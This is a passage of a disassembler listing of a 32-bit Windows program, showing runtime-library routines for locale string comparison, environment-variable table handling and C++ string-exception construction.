arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_443038
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_425C7F
		jge	short loc_425C2E
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_443198
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_425C2E:				; CODE XREF: sub_425C06+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_425C39
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_425C39:				; CODE XREF: sub_425C06+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_425C7F
		push	esi
		push	edi


loc_425C40:				; CODE XREF: sub_425C06+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_425C78
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_425C6B
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_425C6B:				; CODE XREF: sub_425C06+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_4259E6
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_425C78:				; CODE XREF: sub_425C06+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_425C40
		pop	edi
		pop	esi


loc_425C7F:				; CODE XREF: sub_425C06+14j
					; sub_425C06+36j
		pop	ebx
		leave
		retn
sub_425C06	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425C82	proc near		; CODE XREF: sub_4258F3+5Ep
					; sub_426133+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_425C8F
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_425C8F:				; CODE XREF: sub_425C82+7j
		push	ds:dword_4E2944
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	ds:dword_4E2B64
		call	sub_425D2F
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_425CBC
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_425CBC:				; CODE XREF: sub_425C82+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_425C82	endp


; =============== S U B	R O U T	I N E =======================================



sub_425CC1	proc near		; CODE XREF: sub_4258F3+1Ep
					; sub_425FAC+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, ds:dword_4E1528
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_425D22
		mov	ebx, ds:dword_427180


loc_425CDA:				; CODE XREF: sub_425CC1+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx ; dword_427180
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_425D2A
		push	ebp
		call	sub_41BBCB
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_425D2A
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx ; dword_427180
		test	eax, eax
		jz	short loc_425D2A
		push	edi
		push	[esp+18h+var_4]
		call	sub_425FAC
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_425CDA


loc_425D22:				; CODE XREF: sub_425CC1+11j
		xor	eax, eax


loc_425D24:				; CODE XREF: sub_425CC1+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_425D2A:				; CODE XREF: sub_425CC1+29j
					; sub_425CC1+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_425D24
sub_425CC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425D2F	proc near		; CODE XREF: sub_425C82+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_51840FB8	= dword	ptr  51840FC0h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427CC8
		push	offset sub_4233D4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	ds:dword_4E1800, ebx
		push	1
		pop	edi
		jnz	short loc_425DA2
		push	edi
		mov	eax, offset dword_427918
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	ds:dword_427008	; CompareStringW
		test	eax, eax
		jz	short loc_425D7F
		mov	ds:dword_4E1800, edi
		jmp	short loc_425DA2
; ---------------------------------------------------------------------------


loc_425D7F:				; CODE XREF: sub_425D2F+46j
		push	edi
		mov	eax, offset dword_4D10A8
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	ds:dword_42700C	; CompareStringA
		test	eax, eax
		jz	loc_425F98
		mov	ds:dword_4E1800, 2


loc_425DA2:				; CODE XREF: sub_425D2F+31j
					; sub_425D2F+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_425DB9
		push	esi
		push	[ebp+arg_8]
		call	sub_422BDF
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi


loc_425DB9:				; CODE XREF: sub_425D2F+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_425DCE
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_422BDF
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax


loc_425DCE:				; CODE XREF: sub_425D2F+8Dj
		mov	eax, ds:dword_4E1800
		cmp	eax, 2
		jnz	short loc_425DF3
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_42700C	; CompareStringA
		jmp	loc_425F9A
; ---------------------------------------------------------------------------


loc_425DF3:				; CODE XREF: sub_425D2F+A7j
		cmp	eax, edi
		jnz	loc_425F98
		cmp	[ebp+arg_18], ebx
		jnz	short loc_425E08
		mov	eax, ds:dword_4E15C0
		mov	[ebp+arg_18], eax


loc_425E08:				; CODE XREF: sub_425D2F+CFj
		cmp	esi, ebx
		jz	short loc_425E15
		cmp	[ebp+arg_14], ebx
		jnz	loc_425EAD


loc_425E15:				; CODE XREF: sub_425D2F+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_425E22


loc_425E1A:				; CODE XREF: sub_425D2F+13Cj
					; sub_425D2F+16Dj
		push	2


loc_425E1C:				; CODE XREF: sub_425D2F+146j
		pop	eax
		jmp	loc_425F9A
; ---------------------------------------------------------------------------


loc_425E22:				; CODE XREF: sub_425D2F+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_425E2E


loc_425E27:				; CODE XREF: sub_425D2F+151j
					; sub_425D2F+159j ...
		mov	eax, edi
		jmp	loc_425F9A
; ---------------------------------------------------------------------------


loc_425E2E:				; CODE XREF: sub_425D2F+F6j
		cmp	esi, edi
		jg	short loc_425E73
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		call	near ptr 0B00000h
		cmp	[ebp+arg_51840FB8], eax
		add	[eax], eax
		add	[ebx], bh
		rep jle	short loc_425E77
		cmp	[ebp+var_3C], 2
		jb	short loc_425E73
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_425E73


loc_425E59:				; CODE XREF: sub_425D2F+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_425E73
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_425E6D
		cmp	cl, dl
		jbe	short loc_425E1A


loc_425E6D:				; CODE XREF: sub_425D2F+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_425E59


loc_425E73:				; CODE XREF: sub_425D2F+101j
					; sub_425D2F+120j ...
		push	3
		jmp	short loc_425E1C
; ---------------------------------------------------------------------------


loc_425E77:				; CODE XREF: sub_425D2F+119j
		cmp	[ebp+arg_14], ebx
		jle	short loc_425EAD
		cmp	[ebp+var_3C], 2
		jb	short loc_425E27
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_425E27


loc_425E8A:				; CODE XREF: sub_425D2F+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_425E27
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_425EA2
		cmp	cl, dl
		jbe	loc_425E1A


loc_425EA2:				; CODE XREF: sub_425D2F+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_425E8A
		jmp	loc_425E27
; ---------------------------------------------------------------------------


loc_425EAD:				; CODE XREF: sub_425D2F+E0j
					; sub_425D2F+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		call	ds:dword_427184	; MultiByteToWideChar
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_425F98
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_41C1D0
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_425EFC
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi


loc_425EFC:				; CODE XREF: sub_425D2F+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_425F98
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, ds:dword_427184
		call	esi ; dword_427184
		test	eax, eax
		jz	short loc_425F98
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi ; dword_427184
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_425F98
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41C1D0
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_425F67
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]


loc_425F67:				; CODE XREF: sub_425D2F+224j
		cmp	edi, ebx
		jz	short loc_425F98
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		call	ds:dword_427184	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_425F98
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_427008	; CompareStringW
		jmp	short loc_425F9A
; ---------------------------------------------------------------------------


loc_425F98:				; CODE XREF: sub_425D2F+63j
					; sub_425D2F+C6j ...
		xor	eax, eax


loc_425F9A:				; CODE XREF: sub_425D2F+BFj
					; sub_425D2F+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425D2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425FAC	proc near		; CODE XREF: sub_425CC1+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_426010
		push	3Dh
		push	[ebp+arg_0]
		call	sub_4261F2
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_426010
		cmp	[ebp+arg_0], esi
		jz	short loc_426010
		mov	eax, ds:dword_4E1520
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, ds:dword_4E1524
		jnz	short loc_425FF6
		push	eax
		call	sub_42618B
		pop	ecx
		mov	ds:dword_4E1520, eax


loc_425FF6:				; CODE XREF: sub_425FAC+3Cj
		cmp	eax, edi
		jnz	short loc_42604E
		cmp	[ebp+arg_4], edi
		jz	short loc_426018
		cmp	ds:dword_4E1528, edi
		jz	short loc_426018
		call	sub_425CC1
		test	eax, eax
		jz	short loc_42604E


loc_426010:				; CODE XREF: sub_425FAC+Dj
					; sub_425FAC+22j ...
		or	eax, 0FFFFFFFFh


loc_426013:				; CODE XREF: sub_425FAC+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_426018:				; CODE XREF: sub_425FAC+51j
					; sub_425FAC+59j
		cmp	ebx, edi
		jnz	loc_42612C
		push	4
		call	sub_41BBCB
		cmp	eax, edi
		pop	ecx
		mov	ds:dword_4E1520, eax
		jz	short loc_426010
		mov	[eax], edi
		cmp	ds:dword_4E1528, edi
		jnz	short loc_42604E
		push	4
		call	sub_41BBCB
		cmp	eax, edi
		pop	ecx
		mov	ds:dword_4E1528, eax
		jz	short loc_426010
		mov	[eax], edi


loc_42604E:				; CODE XREF: sub_425FAC+4Cj
					; sub_425FAC+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, ds:dword_4E1520
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_426133
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_4260AE
		cmp	dword ptr [edi], 0
		jz	short loc_4260AE
		test	ebx, ebx
		jz	short loc_4260A6
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_41B961
		pop	ecx


loc_426080:				; CODE XREF: sub_425FAC+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_426090
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_426080
; ---------------------------------------------------------------------------


loc_426090:				; CODE XREF: sub_425FAC+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_41BA78
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4260E0
		jmp	short loc_4260DB
; ---------------------------------------------------------------------------


loc_4260A6:				; CODE XREF: sub_425FAC+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_4260E0
; ---------------------------------------------------------------------------


loc_4260AE:				; CODE XREF: sub_425FAC+BDj
					; sub_425FAC+C2j
		test	ebx, ebx
		jnz	short loc_42612C
		test	esi, esi
		jge	short loc_4260B8
		neg	esi


loc_4260B8:				; CODE XREF: sub_425FAC+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_41BA78
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_426010
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0


loc_4260DB:				; CODE XREF: sub_425FAC+F8j
		mov	ds:dword_4E1520, eax


loc_4260E0:				; CODE XREF: sub_425FAC+F6j
					; sub_425FAC+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_42612C
		push	[ebp+arg_0]
		call	sub_41B890
		inc	eax
		inc	eax
		push	eax
		call	sub_41BBCB
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_42612C
		push	[ebp+arg_0]
		push	esi
		call	sub_41C550
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		call	near ptr 0B00000h
		push	ds
		push	esi
		call	sub_41B961
		pop	ecx


loc_42612C:				; CODE XREF: sub_425FAC+6Ej
					; sub_425FAC+104j ...
		xor	eax, eax
		jmp	loc_426013
sub_425FAC	endp


; =============== S U B	R O U T	I N E =======================================



sub_426133	proc near		; CODE XREF: sub_425FAC+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ds:dword_4E1520
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_42616E
		mov	edi, [esp+8+arg_4]


loc_426145:				; CODE XREF: sub_426133+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_425C82
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_426164
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_42617E
		test	al, al
		jz	short loc_42617E


loc_426164:				; CODE XREF: sub_426133+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_426145


loc_42616E:				; CODE XREF: sub_426133+Cj
		mov	eax, esi
		sub	eax, ds:dword_4E1520
		sar	eax, 2
		neg	eax


loc_42617B:				; CODE XREF: sub_426133+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42617E:				; CODE XREF: sub_426133+2Bj
					; sub_426133+2Fj
		mov	eax, esi
		sub	eax, ds:dword_4E1520
		sar	eax, 2
		jmp	short loc_42617B
sub_426133	endp


; =============== S U B	R O U T	I N E =======================================



sub_42618B	proc near		; CODE XREF: sub_425FAC+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_42619A
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_42619A:				; CODE XREF: sub_42618B+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_4261AC


loc_4261A2:				; CODE XREF: sub_42618B+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_4261A2


loc_4261AC:				; CODE XREF: sub_42618B+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_41BBCB
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_4261CD
		push	9
		call	sub_41E0F9
		pop	ecx


loc_4261CD:				; CODE XREF: sub_42618B+38j
		mov	eax, [edi]
		mov	ebx, edi


loc_4261D1:				; CODE XREF: sub_42618B+5Bj
		test	eax, eax
		jz	short loc_4261E8
		push	eax
		add	ebx, 4
		call	sub_426265
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_4261D1
; ---------------------------------------------------------------------------


loc_4261E8:				; CODE XREF: sub_42618B+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_42618B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4261F2	proc near		; CODE XREF: sub_425FAC+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	ds:dword_4E295C, 0
		jnz	short loc_42620D
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41C650
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42620D:				; CODE XREF: sub_4261F2+Aj
		mov	ecx, [ebp+arg_0]


loc_426210:				; CODE XREF: sub_4261F2+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_426253
		movzx	edx, al
		test	ds:byte_4E2A61[edx], 4
		jz	short loc_42623F
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_42624A
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_42624E
		jmp	short loc_426247
; ---------------------------------------------------------------------------


loc_42623F:				; CODE XREF: sub_4261F2+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_426253


loc_426247:				; CODE XREF: sub_4261F2+4Bj
		inc	ecx
		jmp	short loc_426210
; ---------------------------------------------------------------------------


loc_42624A:				; CODE XREF: sub_4261F2+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42624E:				; CODE XREF: sub_4261F2+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_426253:				; CODE XREF: sub_4261F2+25j
					; sub_4261F2+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_4261F2	endp


; =============== S U B	R O U T	I N E =======================================



sub_426265	proc near		; CODE XREF: sub_41869A+21p
					; sub_42618B+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_42628C
		push	esi
		call	sub_41B890
		inc	eax
		push	eax
		call	sub_41BBCB
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_42628C
		push	esi
		push	eax
		call	sub_41C550
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42628C:				; CODE XREF: sub_426265+7j
					; sub_426265+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_426265	endp


; =============== S U B	R O U T	I N E =======================================



sub_426290	proc near		; CODE XREF: sub_40D3C6+15p
					; sub_40D41F+15p ...
		mov	eax, offset loc_426CC8
		call	sub_41D304
		sub	esp, 30h
		mov	al, [ebp-0Dh]
		push	esi
		push	0
		lea	ecx, [ebp-20h]
		mov	[ebp-20h], al
		call	sub_40D5C9
		mov	esi, offset aStringTooLong ; "string too long"
		push	esi
		call	sub_41B890
		pop	ecx
		push	eax
		push	esi
		lea	ecx, [ebp-20h]
		call	sub_40D605
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4262EA
		lea	eax, [ebp-3Ch]
		push	offset dword_428058
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_427CE4
		call	sub_42676B
		pop	esi
sub_426290	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4262EA	proc near		; CODE XREF: sub_426290+3Fp
					; sub_4264BC+3Fp
		mov	eax, offset loc_426CDC
		call	sub_41D304
		push	ecx
		push	ecx
		push	ebx
		push	esi
		lea	eax, [ebp-10h]
		push	edi
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset byte_443398
		call	sub_426690
		mov	ebx, [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	edi, [esi+0Ch]
		push	0
		mov	al, [ebx]
		mov	ecx, edi
		mov	[edi], al
		call	sub_40D5C9
		push	ds:dword_427698
		mov	ecx, edi
		push	0
		push	ebx
		call	sub_40D476
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_427D04
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
sub_4262EA	endp


; =============== S U B	R O U T	I N E =======================================



sub_42634E	proc near		; DATA XREF: seg001:00427CE8o
					; seg001:00427D08o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_42635A
		mov	eax, offset dword_4276A8

locret_42635A:				; CODE XREF: sub_42634E+5j
		retn
sub_42634E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42635B	proc near		; DATA XREF: seg001:00427D0Co

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4263D1
		lea	eax, [ebp+var_1C]
		push	offset dword_4280C8
		push	eax
		call	sub_42676B
sub_42635B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_426378	proc near		; CODE XREF: seg000:004263B8p
					; DATA XREF: seg001:004280CCo
		mov	eax, offset loc_426CF0
		call	sub_41D304
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_427D04
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_40D5C9
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_426717
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_426378	endp

; ---------------------------------------------------------------------------


loc_4263B5:				; DATA XREF: seg001:off_427D04o
		push	esi
		mov	esi, ecx
		call	sub_426378
		test	byte ptr [esp+8], 1
		jz	short loc_4263CB
		push	esi
		call	sub_41D323
		pop	ecx


loc_4263CB:				; CODE XREF: seg000:004263C2j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4263D1	proc near		; CODE XREF: sub_42635B+Ap
					; sub_4264A4+7p ...
		mov	eax, offset loc_426D04
		call	sub_41D304
		push	ecx
		push	ebx
		mov	ebx, [ebp+8]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		mov	[ebp-10h], esi
		call	sub_4266CD
		mov	al, [ebx+0Ch]
		and	dword ptr [ebp-4], 0
		add	ebx, 0Ch
		lea	edi, [esi+0Ch]
		push	0
		mov	ecx, edi
		mov	[edi], al
		call	sub_40D5C9
		push	ds:dword_427698
		mov	ecx, edi
		push	0
		push	ebx
		call	sub_40D476
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_427D04
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
sub_4263D1	endp


; =============== S U B	R O U T	I N E =======================================



sub_42642E	proc near		; CODE XREF: sub_42646B+20p
					; DATA XREF: seg001:0042805Co
		mov	eax, offset loc_426D18
		call	sub_41D304
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_427D04
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_40D5C9
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_426717
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_42642E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42646B	proc near		; DATA XREF: seg001:00427CECo

var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4264A4
		lea	eax, [ebp+var_1C]
		push	offset dword_428058
		push	eax
		call	sub_42676B


loc_426488:				; DATA XREF: seg001:off_427CE4o
		push	esi
		mov	esi, ecx
		call	sub_42642E
		test	[esp+20h+var_18], 1
		jz	short loc_42649E
		push	esi
		call	sub_41D323
		pop	ecx


loc_42649E:				; CODE XREF: sub_42646B+2Aj
		mov	eax, esi
		pop	esi
		retn	4
sub_42646B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4264A4	proc near		; CODE XREF: sub_42646B+Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_4263D1
		mov	dword ptr [esi], offset	off_427CE4
		mov	eax, esi
		pop	esi
		retn	4
sub_4264A4	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264BC	proc near		; CODE XREF: sub_40D476+13p
					; sub_40D63A+Ep
		mov	eax, offset loc_426D2C
		call	sub_41D304
		sub	esp, 30h
		mov	al, [ebp-0Dh]
		push	esi
		push	0
		lea	ecx, [ebp-20h]
		mov	[ebp-20h], al
		call	sub_40D5C9
		mov	esi, offset aInvalidStringP ; "invalid string position"
		push	esi
		call	sub_41B890
		pop	ecx
		push	eax
		push	esi
		lea	ecx, [ebp-20h]
		call	sub_40D605
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4262EA
		lea	eax, [ebp-3Ch]
		push	offset dword_428180
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_427D14
		call	sub_42676B
		pop	esi
sub_4264BC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_426516	proc near		; CODE XREF: sub_426553+20p
					; DATA XREF: seg001:00428184o
		mov	eax, offset loc_426D40
		call	sub_41D304
		push	ecx
		push	esi
